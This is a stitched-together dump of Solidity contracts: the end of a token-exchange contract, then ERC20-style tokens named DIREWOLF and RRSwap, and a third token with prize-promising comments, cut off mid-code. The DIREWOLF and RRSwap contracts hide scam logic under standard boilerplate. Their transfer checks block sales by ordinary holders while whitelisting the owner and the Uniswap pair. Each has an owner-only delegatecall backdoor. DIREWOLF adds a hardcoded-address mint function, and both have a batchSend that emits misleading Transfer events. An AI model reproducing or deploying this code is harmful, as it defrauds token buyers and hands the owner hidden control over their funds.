__tokenAndWalletBalancesMatch__(_makerWallet, _takerWallet, makerOfferToken) ); // Something went wrong one had to have been ether } else revert(); return true; } /** * @dev compute the log10 of a given number, takes the floor, ie. 2.5 = 2 * @param _number The number to compute the log 10 of. * @return The floored log 10. */ function __flooredLog10__(uint _number) public constant returns (uint256) { uint unit = 0; while (_number / (10**unit) >= 10) unit++; return unit; } /** * @dev Calculates Keccak-256 hash of order with specified parameters. * @param _token_and_EOA_Addresses The addresses of the order, [makerEOA, makerOfferToken, makerWantToken]. * @param _amountsExpirationAndSalt The amount of tokens as well as * the block number at which this order expires and random salt number. * @return Keccak-256 hash of each order. */ function __generateOrderHashes__( address[4] _token_and_EOA_Addresses, uint256[8] _amountsExpirationAndSalt ) private constant returns (bytes32, bytes32) { bytes32 makerOrderHash = keccak256( address(this), _token_and_EOA_Addresses[0], // _makerEOA _token_and_EOA_Addresses[1], // offerToken _amountsExpirationAndSalt[0], // offerTokenAmount _token_and_EOA_Addresses[3], // wantToken _amountsExpirationAndSalt[1], // wantTokenAmount _amountsExpirationAndSalt[4], // expiry _amountsExpirationAndSalt[5] // salt ); bytes32 takerOrderHash = keccak256( address(this), _token_and_EOA_Addresses[2], // _makerEOA _token_and_EOA_Addresses[3], // offerToken _amountsExpirationAndSalt[2], // offerTokenAmount _token_and_EOA_Addresses[1], // wantToken _amountsExpirationAndSalt[3], // wantTokenAmount _amountsExpirationAndSalt[6], // expiry _amountsExpirationAndSalt[7] // salt ); return (makerOrderHash, takerOrderHash); } /** * @dev Returns the price ratio for this order. * The ratio is calculated with the largest value as the numerator, this aids * to significantly reduce rounding errors. * @param _makerOrder The maker order data structure. * @return The ratio to `_decimals` decimal places. */ function __getOrderPriceRatio__(Order _makerOrder, uint256 _decimals) private constant returns (uint256 orderPriceRatio) { if (_makerOrder.offerTokenTotal_ >= _makerOrder.wantTokenTotal_) { orderPriceRatio = _makerOrder.offerTokenTotal_.mul(10**_decimals).div(_makerOrder.wantTokenTotal_); } else { orderPriceRatio = _makerOrder.wantTokenTotal_.mul(10**_decimals).div(_makerOrder.offerTokenTotal_); } } /** * @dev Compute the tradeable amounts of the two verified orders. * Token amount is the min remaining between want and offer of the two orders that isn't ether. * Ether amount is then: etherAmount = tokenAmount * priceRatio, as ratio = eth / token. * @param _makerOrder The maker order data structure. * @param _takerOrder The taker order data structure. * @return The amount moving from makerOfferRemaining to takerWantRemaining and vice versa. * TODO: consider rounding errors, etc */ function __getTradeAmounts__( Order _makerOrder, Order _takerOrder ) private constant returns (uint256 toTakerAmount, uint256 toMakerAmount) { bool ratioIsWeiPerTok = __ratioIsWeiPerTok__(_makerOrder); uint256 decimals = __flooredLog10__(__max__(_makerOrder.offerTokenTotal_, _makerOrder.wantTokenTotal_)) + 1; uint256 priceRatio = __getOrderPriceRatio__(_makerOrder, decimals); // Amount left for order to receive uint256 makerAmountLeftToReceive = _makerOrder.wantTokenTotal_.sub(_makerOrder.wantTokenReceived_); uint256 takerAmountLeftToReceive = _takerOrder.wantTokenTotal_.sub(_takerOrder.wantTokenReceived_); // wei/tok and taker receiving wei or tok/wei and taker receiving tok if ( ratioIsWeiPerTok && _takerOrder.wantToken_ == address(0) || !ratioIsWeiPerTok && _takerOrder.wantToken_ != address(0) ) { // In the case that the maker is offering more than the taker wants for the same quantity being offered // For example: maker offer 20 wei for 10 tokens but taker offers 10 tokens for 10 wei // Taker receives 20 wei for the 10 tokens, both orders filled if ( _makerOrder.offerTokenRemaining_ > takerAmountLeftToReceive && makerAmountLeftToReceive <= _takerOrder.offerTokenRemaining_ ) { toTakerAmount = __max__(_makerOrder.offerTokenRemaining_, takerAmountLeftToReceive); } else { toTakerAmount = __min__(_makerOrder.offerTokenRemaining_, takerAmountLeftToReceive); } toMakerAmount = toTakerAmount.mul(10**decimals).div(priceRatio); // wei/tok and maker receiving wei or tok/wei and maker receiving tok } else { toMakerAmount = __min__(_takerOrder.offerTokenRemaining_, makerAmountLeftToReceive); toTakerAmount = toMakerAmount.mul(10**decimals).div(priceRatio); } } /** * @dev Return the maximum of two uints * @param _a Uint 1 * @param _b Uint 2 * @return The grater value or a if equal */ function __max__(uint256 _a, uint256 _b) private constant returns (uint256) { return _a < _b ? _b : _a; } /** * @dev Return the minimum of two uints * @param _a Uint 1 * @param _b Uint 2 * @return The smallest value or b if equal */ function __min__(uint256 _a, uint256 _b) private constant returns (uint256) { return _a < _b ? _a : _b; } /** * @dev Define if the ratio to be used is wei/tok to tok/wei. Largest uint will * always act as the numerator. * @param _makerOrder The maker order object. * @return If the ratio is wei/tok or not. */ function __ratioIsWeiPerTok__(Order _makerOrder) private constant returns (bool) { bool offerIsWei = _makerOrder.offerToken_ == address(0) ? true : false; // wei/tok if (offerIsWei && _makerOrder.offerTokenTotal_ >= _makerOrder.wantTokenTotal_) { return true; } else if (!offerIsWei && _makerOrder.wantTokenTotal_ >= _makerOrder.offerTokenTotal_) { return true; // tok/wei. otherwise wanting wei && offer > want, OR offer wei && want > offer } else { return false; } } /** * @dev Confirm that the orders do match and are valid. * @param _makerOrder The maker order data structure. * @param _takerOrder The taker order data structure. * @return Bool if the orders passes all checks. */ function __ordersMatch_and_AreVaild__( Order _makerOrder, Order _takerOrder ) private constant returns (bool) { // Orders still active if (!_makerOrder.active_) return error('Maker order is inactive, Exchange.__ordersMatch_and_AreVaild__()'); if (!_takerOrder.active_) return error('Taker order is inactive, Exchange.__ordersMatch_and_AreVaild__()'); // Confirm tokens match // NOTE potentially omit as matching handled upstream? if (_makerOrder.wantToken_ != _takerOrder.offerToken_) return error('Maker wanted token does not match taker offer token, Exchange.__ordersMatch_and_AreVaild__()'); if (_makerOrder.offerToken_ != _takerOrder.wantToken_) return error('Maker offer token does not match taker wanted token, Exchange.__ordersMatch_and_AreVaild__()'); // Price Ratios, to x decimal places hence * decimals, dependent on the size of the denominator. // Ratios are relative to eth, amount of ether for a single token, ie. ETH / GNO == 0.2 Ether per 1 Gnosis uint256 orderPrice; // The price the maker is willing to accept uint256 offeredPrice; // The offer the taker has given uint256 decimals = _makerOrder.offerToken_ == address(0) ? __flooredLog10__(_makerOrder.wantTokenTotal_) : __flooredLog10__(_makerOrder.offerTokenTotal_); // Ratio = larger amount / smaller amount if (_makerOrder.offerTokenTotal_ >= _makerOrder.wantTokenTotal_) { orderPrice = _makerOrder.offerTokenTotal_.mul(10**decimals).div(_makerOrder.wantTokenTotal_); offeredPrice = _takerOrder.wantTokenTotal_.mul(10**decimals).div(_takerOrder.offerTokenTotal_); // ie. Maker is offering 10 ETH for 100 GNO but taker is offering 100 GNO for 20 ETH, no match! // The taker wants more ether than the maker is offering. if (orderPrice < offeredPrice) return error('Taker price is greater than maker price, Exchange.__ordersMatch_and_AreVaild__()'); } else { orderPrice = _makerOrder.wantTokenTotal_.mul(10**decimals).div(_makerOrder.offerTokenTotal_); offeredPrice = _takerOrder.offerTokenTotal_.mul(10**decimals).div(_takerOrder.wantTokenTotal_); // ie. Maker is offering 100 GNO for 10 ETH but taker is offering 5 ETH for 100 GNO, no match! // The taker is not offering enough ether for the maker if (orderPrice > offeredPrice) return error('Taker price is less than maker price, Exchange.__ordersMatch_and_AreVaild__()'); } return true; } /** * @dev Ask each wallet to verify this order. * @param _token_and_EOA_Addresses The addresses of the maker and taker EOAs and offered token contracts. * [makerEOA, makerOfferToken, takerEOA, takerOfferToken] * @param _toMakerAmount The amount of tokens to be sent to the maker. * @param _toTakerAmount The amount of tokens to be sent to the taker. * @param _makerWallet The maker's wallet contract. * @param _takerWallet The taker's wallet contract. * @param _fee The fee to be paid for this trade, paid in full by taker. * @return Success if both wallets verify the order. */ function __ordersVerifiedByWallets__( address[4] _token_and_EOA_Addresses, uint256 _toMakerAmount, uint256 _toTakerAmount, Wallet _makerWallet, Wallet _takerWallet, uint256 _fee ) private constant returns (bool) { // Have the transaction verified by both maker and taker wallets // confirm sufficient balance to transfer, offerToken and offerTokenAmount if(!_makerWallet.verifyOrder(_token_and_EOA_Addresses[1], _toTakerAmount, 0, 0)) return error('Maker wallet could not verify the order, Exchange.__ordersVerifiedByWallets__()'); if(!_takerWallet.verifyOrder(_token_and_EOA_Addresses[3], _toMakerAmount, _fee, edoToken_)) return error('Taker wallet could not verify the order, Exchange.__ordersVerifiedByWallets__()'); return true; } /** * @dev On chain verification of an ECDSA ethereum signature. * @param _signer The EOA address of the account that supposedly signed the message. * @param _orderHash The on-chain generated hash for the order. * @param _v ECDSA signature parameter v. * @param _r ECDSA signature parameter r. * @param _s ECDSA signature parameter s. * @return Bool if the signature is valid or not. */ function __signatureIsValid__( address _signer, bytes32 _orderHash, uint8 _v, bytes32 _r, bytes32 _s ) private constant returns (bool) { address recoveredAddr = ecrecover( keccak256('\x19Ethereum Signed Message:\n32', _orderHash), _v, _r, _s ); return recoveredAddr == _signer; } /** * @dev Confirm wallet local balances and token balances match. * @param _makerWallet Maker wallet address. * @param _takerWallet Taker wallet address. * @param _token Token address to confirm balances match. * @return If the balances do match. */ function __tokenAndWalletBalancesMatch__( address _makerWallet, address _takerWallet, address _token ) private constant returns(bool) { if (Token(_token).balanceOf(_makerWallet) != Wallet(_makerWallet).balanceOf(_token)) return false; if (Token(_token).balanceOf(_takerWallet) != Wallet(_takerWallet).balanceOf(_token)) return false; return true; } /** * @dev Update the order structs. * @param _makerOrder The maker order data structure. * @param _takerOrder The taker order data structure. * @param _toTakerAmount The amount of tokens to be moved to the taker. * @param _toTakerAmount The amount of tokens to be moved to the maker. * @return Success if the update succeeds. */ function __updateOrders__( Order _makerOrder, Order _takerOrder, uint256 _toTakerAmount, uint256 _toMakerAmount ) private { // taker => maker _makerOrder.wantTokenReceived_ = _makerOrder.wantTokenReceived_.add(_toMakerAmount); _takerOrder.offerTokenRemaining_ = _takerOrder.offerTokenRemaining_.sub(_toMakerAmount); // maker => taker _takerOrder.wantTokenReceived_ = _takerOrder.wantTokenReceived_.add(_toTakerAmount); _makerOrder.offerTokenRemaining_ = _makerOrder.offerTokenRemaining_.sub(_toTakerAmount); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract DIREWOLF { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* RRSwap */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract RRSwap { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/** * Game bonus coin * Total: 2000 * Maximum reward for a single person: 5ETH */ /** * 50% of trading players will get 90% of the prize pool */ /** * 10 lucky players, each will get 0.3ETH */ /** * Holder ranking reward: * First place: 5ETH * Second place: 3ETH * Third place: 2ETH * Fourth to tenth place: 0.5ETH per person */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { 